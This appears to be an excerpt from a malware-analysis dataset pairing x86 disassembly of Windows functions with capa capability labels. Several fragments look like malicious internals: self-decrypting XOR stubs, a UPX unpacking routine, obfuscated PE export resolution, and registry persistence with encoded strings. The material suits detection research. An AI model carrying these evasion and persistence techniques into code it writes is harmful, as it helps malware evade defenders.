joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401c85
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x406108
cmp edx, dword [eax]
je 0x401ca7
add eax, 8
inc ecx
cmp eax, 0x406198
jl 0x401c98
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x406108]
jne 0x401dd5
mov eax, dword [0x406638]
cmp eax, 1
je 0x401daf
test eax, eax
jne 0x401cd8
cmp dword [0x40605c], 1
je 0x401daf
cmp edx, 0xfc
je 0x401dd5
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x401d0f
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00402230
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004023a0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x401d52
lea eax, [ebp - 0x1a4]
push eax
call fcn.004023a0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x405390
push edi
call fcn.00403030
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00402230
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00402240
lea eax, [ebp - 0xa0]
push 0x405370
push eax
call fcn.00402240
push dword [esi + 0x40610c]
lea eax, [ebp - 0xa0]
push eax
call fcn.00402240
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00402f9e
add esp, 0x2c
pop edi
jmp 0x401dd5
lea eax, [ebp + 8]
lea esi, [esi + 0x40610c]
push 0
push eax
push dword [esi]
call fcn.004023a0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x403a78
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x403a98
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00403f72
pop ecx
or eax, 0xffffffff
ret
test al, 1
je 0x403ab9
test byte [esp + 8], 2
je 0x403ab9
mov dword [0x40663c], 0xd
mov dword [0x406640], 5
jmp 0x403a94
xor eax, eax
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x4afaf0
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4afbc7
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x4afbe4
push ebx
push 0x4afbf4
push esi
lea eax, [ebp - 4]
mov edx, 4
call fcn.004087c4
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x44
call fcn.00405884
mov dword [ebp - 0x48], 0x44
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.004084ec
push eax
push 0
call sub.kernel32.dll_CreateProcessW
test eax, eax
jne 0x4afb72
mov ax, 0x83
call fcn.004af714
mov eax, dword [ebp - 0x54]
push eax
call sub.kernel32.dll_CloseHandle
call fcn.004afac4
push 0x4ff
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x58]
push eax
push 1
call sub.user32.dll_MsgWaitForMultipleObjects
cmp eax, 1
je 0x4afb7b
call fcn.004afac4
push edi
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4afbce
lea eax, [ebp - 4]
call fcn.00407a20
ret

Function at 0x4afce4
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffb4
mov dword [esp], eax
lea esi, [esp + 0x30]
lea eax, [esp + 0xc]
push eax
call sub.kernel32.dll_GetSystemInfo
mov edi, dword [esp]
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x4afdaf
jmp 0x4afda3
cmp dword [esi + 0x10], 0x1000
jne 0x4afd8f
test byte [esi + 0x15], 1
jne 0x4afd8f
mov byte [esp + 4], 0
mov ebp, dword [esi + 0x14]
cmp ebp, 1
je 0x4afd40
cmp ebp, 2
je 0x4afd40
cmp ebp, 0x10
je 0x4afd40
cmp ebp, 0x20
jne 0x4afd5c
lea eax, [esp + 8]
push eax
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x4afd5c
mov byte [esp + 4], 1
xor ebx, ebx
jmp 0x4afd6d
mov eax, dword [esi]
add eax, ebx
call fcn.004afcdc
add ebx, dword [esp + 0x10]
cmp ebx, dword [esi + 0xc]
jb 0x4afd60
cmp byte [esp + 4], 0
je 0x4afd8f
lea eax, [esp + 8]
push eax
mov eax, dword [esp + 0xc]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov edi, eax
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x4afdaf
mov eax, dword [esi + 4]
cmp eax, dword [esp]
je 0x4afd15
add esp, 0x4c
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x4d8000
Capabilities:
Encode data using xor

Disassembly:
dec eax
xor eax, eax
dec ecx
mov eax, esp
inc cx
and eax, 0xcedbf490
dec ecx
fxsave [eax]
dec ecx
mov ebp, 0xb527b102
or al, 0x43
stosb byte es:[edi], al
mov al, 0x9b
dec ecx
mov edx, dword [eax + 8]
dec eax
dec eax
dec esp
xor dword [edx + eax*8 + 0x23], ebp
dec eax
test eax, eax
jne 0x4d8022
fdivr dword [edi + 0x6a]
test cl, al
pop eax
or dl, byte [ebx]
retf 0x3d3b
Function at 0xe14630
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x6f9000]
push edi
jmp 0xe1464a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0xe14651
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xe14640
mov eax, 1
add ebx, ebx
jne 0xe14663
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0xe14674
jne 0xe14693
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xe14693
dec eax
add ebx, ebx
jne 0xe14680
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0xe14658
add ebx, ebx
jne 0xe1468f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0xe146e5
xor ecx, ecx
sub eax, 3
jb 0xe146ab
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0xe1471a
sar eax, 1
mov ebp, eax
jmp 0xe146b6
add ebx, ebx
jne 0xe146b6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xe14684
inc ecx
add ebx, ebx
jne 0xe146c4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xe14684
add ebx, ebx
jne 0xe146d1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0xe146c6
jne 0xe146e2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0xe146c6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0xe14704
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0xe146f6
jmp 0xe14646
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0xe14704
add edi, ecx
jmp 0xe14646
pop esi
mov edi, esi
mov ecx, 0x44c04f
mov al, 0xe8
repne scasb al, byte es:[edi]
jne 0xe1473f
cmp byte [edi], 0x82
jne 0xe14724
mov eax, dword [edi]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
add eax, esi
stosd dword es:[edi], eax
jmp 0xe14722
lea edi, [esi + 0x9e3000]
mov eax, dword [edi]
or eax, eax
je 0xe14790
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xa1ecac]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xa1ece8]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0xe14745
mov ecx, edi
jns 0xe14774
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xa1ecec]
or eax, eax
je 0xe1478a
mov dword [ebx], eax
add ebx, 4
jmp 0xe14762
call dword [esi + 0xa1ecfc]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0xe147c1
cmp al, 0xef
ja 0xe147b4
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0xe14796
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0xe147a3
mov ebp, dword [esi + 0xa1ecf0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x24f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0xe147f5
sub esp, 0xffffff80
jmp 0x7fc3e7
Function at 0x6ed37b
Capabilities:
Resolve function by parsing pe exports

Disassembly:
rol ah, cl
push ebp
neg ah
inc al
shrd bp, si, 6
clc
mov ebp, esp
neg ax
neg al
ror al, 6
sub esp, 0x10
das
push esi
and eax, ecx
stc
dec ax
ror ah, 6
push edi
bt ebx, eax
inc al
bswap ax
push ebx
jmp 0x7e3018
pushal
push 0xe2363658
pushal
lea esp, [esp + 0x44]
je fcn.00957f00
rcl cl, 5
add edx, eax
cmp di, 0x32df
lea ecx, [ebx + 0x5d268457]
bswap cx
mov ecx, dword [esi + 0x7c]
clc
test bx, di
add ecx, edx
pushfd
clc
mov byte [esp], bh
clc
mov dword [ebp - 0x10], ecx
rcr ch, 7
lea ecx, [esi + 0x71946478]
not ch
btr ecx, 6
mov ecx, dword [ebp + 0xc]
cmc
pushal
mov dword [esp], ebp
cmp ecx, 0xffff
push dword [esp]
lea esp, [esp + 0x28]
jbe 0x79ffdf
sub bl, ah
mov edi, dword [edx + 0x24]
rcl cx, cl
add edi, eax
not bx
jmp 0x7e1967
test eax, eax
pushfd
mov byte [esp], ah
lea esp, [esp + 4]
je fcn.00957f00
sbb esi, 0x3a3573db
mov esi, dword [eax + 0x3c]
shrd dx, di, 0xd
add esi, eax
btr dx, 0xe
bt di, sp
setbe dh
bswap dx
mov edx, dword [esi + 0x78]
cmp al, al
test edx, edx
jmp 0x79bf41
add bl, 0x45
mov ebx, dword [edx + 0x20]
bsr ecx, ecx
xor ch, ah
cmp bl, 0x29
add ebx, eax
shl cl, 3
mov cl, 0x50
xor cx, cx
mov dword [ebp - 8], 0
push 0xa8273532
mov ecx, dword [edx + 0x18]
push dword [esp]
mov word [esp], bp
clc
mov byte [esp], dh
cmp ecx, dword [ebp - 8]
push eax
call fcn.006e3c39
mov byte [esp], 0x5f
pushal
lea esp, [esp + 0x24]
jb 0x957f05
pushfd
pushfd
cmp eax, dword [ebp - 0x10]
lea esp, [esp + 8]
push edx
pushal
lea eax, [edx + 0x6bcf8d25]
not ah
shr al, 2
mov eax, dword [ebp + 8]
lea esp, [esp + 0x20]
jno 0x958564
cmc
test eax, eax
jmp 0x79e920
cmp cl, dl
jmp 0x79e00c
Function at 0x4010a5
Capabilities:
Create process on windows

Disassembly:
call fcn.004015d9
mov ecx, 0xa
push ecx
push 0x64
call sub.kernel32.dll_Sleep
pop ecx
loop 0x4010af
jmp 0x4010c6
push str.05387337392A134675205F696CECC1696B3E2A69B6E885652347206E6174206D6561722073A5866785
push 0
push dword [0x4052ee]
call sub.kernel32.dll_OpenMutexA
cmp eax, 0
je 0x4010e4
push 0
call sub.kernel32.dll_ExitProcess
call fcn.004013cf
call fcn.0040163b
cmp byte [0x403bf5], 0
jbe 0x4010f9
jmp 0x401110
push 5
push 0
push 0
push 0x405e47
push str.open
push 0
call sub.shell32.dll_ShellExecuteA
jmp 0x4010aa
Function at 0x4013cf
Capabilities:
Set registry value

Disassembly:
push 0x405e47
call fcn.00401b30
mov dword [0x403e8c], eax
push 0x406247
push 0xf003f
push 0
push str.1A2466363E2F7236296D0C0A1E4353060D54373E074E000A57347C2D100652080B15244501160E080B1539550C356E2047332065686C2C20686B206B5B6E206454617514585347165E20533417415651555C
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
push dword [0x403e8c]
push 0x405e47
push 1
push 0
push str.1919490C1D4E73031A4F090C1E2C67696B206B690E868665A09A616E6574206D296530207BFFB96705
push dword [0x406247]
call sub.advapi32.dll_RegSetValueExA
push dword [0x406247]
call sub.advapi32.dll_RegCloseKey
jmp 0x40142f
push 0x405d47
call fcn.00401b30
mov dword [0x403e8c], eax
push 0x406247
push str.1A2466363E2F7236296D0C0A1E4353060D54373E074E000A57347C2D100652080B15244501160E080B151B4F0E000D4916067C20111C404F1B0E52373B1B4E6465204720EE40AA208D1EBD72800EB967071A
push 0x80000002
call sub.advapi32.dll_RegCreateKeyA
push dword [0x403e8c]
push 0x405d47
push 1
push 0
push str.05044303053D451000520C1D156D551D034F19001A5937104234591D11114D6D656172207365676765
push dword [0x406247]
call sub.advapi32.dll_RegSetValueExA
push dword [0x406247]
call sub.advapi32.dll_RegCloseKey
call fcn.00401588
call fcn.004014df
push 0x405d47
push 0x40644f
call fcn.00401a60
cmp eax, 0
jbe 0x4014a1
call fcn.004014be
jmp 0x4014b2
call fcn.004014b3
jmp 0x4014b2
ret

Function at 0x4014df
Capabilities:
Set registry value

Disassembly:
push 0x406247
push 0xf003f
push 0
push str.1A2466363E2F7236296D0C0A1E4353060D54373E074E000A57340020312863181713174E073302151620044E3E20034114100023000049002C1345081C1A490B0B0008501A0C1B4E1E3961721036555F5727
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
jmp 0x401506
push 0x40624b
push str.3D0A53090409525D1058006935EB80698B5BF0690E5FFF65803ABB6E015474081D1548209AA2C76715
push dword [0x406247]
call sub.advapi32.dll_RegCreateKeyA
push 2
push 0x403bf2
push 1
push 0
push str.0D0E42170E09450175205F696CEC80696B3E2A69AEE8C4652347206E6174206D6561722073A5C76785
push dword [0x40624b]
call sub.advapi32.dll_RegSetValueExA
push dword [0x40624b]
call sub.advapi32.dll_RegCloseKey
push 0x40624b
push str.3B0E47070D07545D10580069E5EB80698B5BF069CE5DFF65E052BA6EC5F5BE6D65617220D2A2C76765
push dword [0x406247]
call sub.advapi32.dll_RegCreateKeyA
push 2
push 0x403bf2
push 1
push 0
push str.0D0E42170E09450175205F696CEC80696B3E2A69AEE8C4652347206E6174206D6561722073A5C76785
push dword [0x40624b]
call sub.advapi32.dll_RegSetValueExA
push dword [0x40624b]
call sub.advapi32.dll_RegCloseKey
push dword [0x406247]
call sub.advapi32.dll_RegCloseKey
ret

Function at 0x4015eb
Capabilities:
Set registry value

Disassembly:
mov ecx, 0x22
mov ebx, ecx
push ecx
sub ebx, 1
imul ebx, ebx, 4
add ebx, 0x40404e
push 0x405847
push dword [ebx]
call fcn.00401998
push 4
push 0x405947
push 0x405847
call fcn.00401b80
push 4
push 0x403ea4
push 4
push 0
push 0x405947
push dword [0x406247]
call sub.advapi32.dll_RegSetValueExA
pop ecx
loop 0x4015f0
ret
Function at 0x40163b
Capabilities:
Enumerate processes

Disassembly:
mov byte [0x403bf5], 0
push 0
push 2
call sub.kernel32.dll_CreateToolhelp32Snapshot
mov dword [0x405744], eax
mov dword [0x405594], 0x128
push 0x405594
push dword [0x405744]
call sub.kernel32.dll_Process32First
mov dword [0x403f51], 1
jmp 0x40168b
push 0x405594
push dword [0x405744]
call sub.kernel32.dll_Process32Next
mov dword [0x403f51], eax
push 0x4055b8
call fcn.00401b30
mov dword [0x403e8c], eax
push 7
push 0x4055b8
push str.1A3B6F2D252B725D307820494C0C00494B004B494E0044450067004E4554004D454152005345474745694B0042494E0053550045494C0C00494B004B494E0044450067004E4554004D454152005345474745694B0042494E0053550045494C0C00494B20050D0157300058332B280A1A54432D041B471B1165926C
call fcn.00401ac0
cmp eax, 0
je 0x4016b2
jmp 0x4016b9
mov byte [0x403bf5], 1
xor eax, eax
cmp dword [0x403f51], 1
je 0x401676
push dword [0x405744]
call sub.kernel32.dll_CloseHandle
ret
Function at 0x4105bc
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x43189c], 0
push esi
jne 0x4105f3
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x4105cd
mov dword [ecx*4 + 0x431898], eax
inc ecx
cmp ecx, 0x100
jl 0x4105c8
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x410624
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x431898]
xor eax, esi
inc ecx
dec edx
jne 0x410606
pop edi
not eax
pop esi
ret 0xc
Function at 0x1000c004
Capabilities:
Terminate process

Disassembly:
push 0x58
push 0x1000dec0
call fcn.1000c190
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 4], ebx
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov dword [ebp - 4], 0xfffffffe
mov dword [ebp - 4], 1
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov edi, 0x1000f98c
push 0
push esi
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
test eax, eax
je 0x1000bda7
cmp eax, esi
jne 0x1000bd9a
xor esi, esi
inc esi
mov ebx, esi
jmp 0x1000bdaa
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1000bd81
xor esi, esi
inc esi
mov eax, dword [0x1000f988]
cmp eax, esi
jne 0x1000bdbd
push 0x1f
call sub.MSVCR80.dll__amsg_exit
pop ecx
jmp 0x1000bdec
mov eax, dword [0x1000f988]
test eax, eax
jne 0x1000bde6
mov dword [0x1000f988], esi
push 0x100012ac
push 0x100012a0
call sub.MSVCR80.dll__initterm_e
pop ecx
pop ecx
test eax, eax
je 0x1000bdec
jmp 0x1000bf14
mov dword [0x1000f644], esi
mov eax, dword [0x1000f988]
cmp eax, esi
jne 0x1000be10
push 0x1000129c
push 0x1000128c
call sub.MSVCR80.dll__initterm
pop ecx
pop ecx
mov dword [0x1000f988], 2
test ebx, ebx
jne 0x1000be1c
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
cmp dword [0x1000f998], 0
je 0x1000be40
push 0x1000f998
call fcn.1000c500
pop ecx
test eax, eax
je 0x1000be40
push 0
push 2
push 0
call dword [0x1000f998]
mov eax, dword [sym.imp.MSVCR80.dll__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x20], esi
mov al, byte [esi]
cmp al, 0x20
ja 0x1000be9c
test al, al
je 0x1000be5a
cmp dword [ebp - 0x1c], 0
jne 0x1000be9c
mov al, byte [esi]
test al, al
je 0x1000be6a
cmp al, 0x20
ja 0x1000be6a
inc esi
mov dword [ebp - 0x20], esi
jmp 0x1000be5a
test byte [ebp - 0x3c], 1
je 0x1000be76
movzx eax, word [ebp - 0x38]
jmp 0x1000be79
push 0xa
pop eax
push eax
push esi
push 0
push 0x10000000
call main
mov dword [0x1000f640], eax
cmp dword [0x1000f634], 0
jne 0x1000bef0
push eax
call dword [sym.imp.MSVCR80.dll_exit]
cmp al, 0x22
jne 0x1000beab
xor ecx, ecx
cmp dword [ebp - 0x1c], ecx
sete cl
mov dword [ebp - 0x1c], ecx
movzx eax, al
push eax
call dword [sym.imp.MSVCR80.dll__ismbblead]
pop ecx
test eax, eax
je 0x1000bebe
inc esi
mov dword [ebp - 0x20], esi
inc esi
jmp 0x1000be47
cmp dword [0x1000f644], 0
jne 0x1000beff
call dword [sym.imp.MSVCR80.dll__cexit]
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [0x1000f640]
jmp 0x1000bf20
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
call fcn.1000c1d5
ret
call fcn.1014c000
jmp 0x1000bd47

Function at 0x1000c020
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1000f15c]
jne 0x1000c02a
repz ret
jmp fcn.1000c685
Function at 0x415270
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4ed22b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.004deae4
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x4152f2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.004db90c
mov eax, dword [eax]
push 0x618264
push eax
call fcn.004b0b64
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.004ded6f
test bl, bl
je 0x4152f2
push 0x618264
lea ecx, [esp + 0xc]
call fcn.004df14b
push 0x61bdf0
lea ecx, [esp + 0xc]
call fcn.004df14b
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x41532e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.004ded6f
jmp 0x4153f9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x4153b2
lea edx, [esp + 0x7c]
push 0x61bdec
push edx
call fcn.004b0b64
add esp, 8
test eax, eax
je 0x4153b2
lea eax, [esp + 0x7c]
push 0x61bde8
push eax
call fcn.004b0b64
add esp, 8
test eax, eax
je 0x4153b2
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x415342
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.004ded6f
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4
Function at 0x415bf0
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x4ed2ab
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x62d498]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x415d28
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x415c56
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004ded6f
xor eax, eax
jmp 0x415d9f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.004deef8
push esi
lea ecx, [esp + 0xc]
call fcn.004df187
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push 0x61be28
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x415d7d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push 0x61be20
push closesocket
call fcn.0045ff10
test eax, eax
jne 0x415d7d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push 0x61be0c
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.0045ff10
test eax, eax
jne 0x415d7d
lea eax, [esp + 0x14]
push 0x61be04
push eax
call fcn.004b1d10
mov esi, eax
add esp, 8
test esi, esi
jne 0x415d5c
lea ecx, [esp + 0x14]
push 0x61be00
push ecx
call fcn.004b1c90
mov esi, eax
add esp, 8
test esi, esi
jne 0x415d5c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x415d5f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.004deea8
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x415c6e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004ded6f
xor eax, eax
jmp 0x415d9f
mov byte [esi], 0
push 0x61bdfc
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.004ded6f
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4